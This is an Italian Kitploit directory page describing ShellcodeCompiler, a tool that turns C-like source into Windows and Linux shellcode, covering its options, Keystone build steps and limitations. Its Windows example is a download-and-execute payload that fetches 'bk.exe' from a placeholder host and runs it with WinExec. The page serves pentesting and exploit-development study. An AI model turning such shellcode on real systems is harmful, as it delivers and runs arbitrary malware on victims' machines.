Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
ShellcodeCompiler — Compilatore di shellcode | Kitploit
Strumenti/GitHubGitHub/nytrorst/shellcodecompiler
ExploitShellcodeGenerazione di ShellcodeSviluppo PayloadBinary Exploitation
GitHubnytrorst/shellcodecompiler

ShellcodeCompiler

Compilatore di shellcode

Vedi Repository
1.2k2801 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Compilatore di Shellcode

Shellcode Compiler è un programma che compila codice in stile C/C++ in uno shellcode piccolo, indipendente dalla posizione e senza NULL per Windows (x86 e x64) e Linux (x86 e x64). È possibile chiamare qualsiasi funzione API di Windows o syscall di Linux in modo intuitivo.

Shellcode Compiler prende come input un file sorgente e utilizza il proprio compilatore per interpretare il codice e generare un file assembly che viene assemblato con il motore Keystone.

Opzioni della riga di comando

root@kitploit:~
    -h (--help)      : Mostra questo messaggio di aiuto
    -p (--platform)  : Piattaforma dello shellcode: win_x86,win_x64,linux_x86,linux_x64
    -v (--verbose)   : Stampa output dettagliato
    -t (--test)      : Testa (esegue) lo shellcode generato
    -r (--read)      : Leggi il file sorgente
    -o (--output)    : File di output dello shellcode binario generato
    -a (--assembbly) : File di output del codice assembly generato

Esempio Windows

root@kitploit:~
    function URLDownloadToFileA("urlmon.dll");
    function WinExec("kernel32.dll");
    function ExitProcess("kernel32.dll");

    URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
    WinExec("bk.exe",0);
    ExitProcess(0);

Esempio Linux

root@kitploit:~
    chmod("/root/chmodme",511);
    write(1,"Hello, world",12);
    kill(1661,9);
    getpid();
    execve("/usr/bin/burpsuite",0,0);
    exit(2);

Esempio di invocazione

root@kitploit:~
    ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64
    

Limitazioni

  1. Non è possibile utilizzare il valore di ritorno di una chiamata API
  2. Non è possibile utilizzare puntatori o buffer
  3. Non è possibile dichiarare variabili

Esistono anche molte altre limitazioni. Questa è una versione Alpha. Segnala eventuali bug o suggerimenti.

Registro delle modifiche

  1. Supporto iniziale per Windows x64
  2. Supporto iniziale per shellcode Linux (x86 e x64)

Keystone

  1. Scarica il codice sorgente di Keystone Engine
  2. Compila Keystone Engine come libreria statica usando nmake-lib.sh (per Linux) e nmake-lib.bat (per Windows)
  3. Windows: Copia il file lib risultante da keystone-src\build\llvm\lib\keystone.lib a ShellcodeCompiler\Keystone\keystone_x86.lib (per 32 bit) e keystone_x64.lib (per 64 bit)
  4. Linux: Copia il file lib risultante da keystone-src\build\llvm\lib\keystone.lib a ShellcodeCompiler\Keystone\libkeystone_x86.a (per 32 bit) e libkeystone_x64.a (per 64 bit)

Autore

Ionut Popescu (@NytroRST)

Scarica lo strumento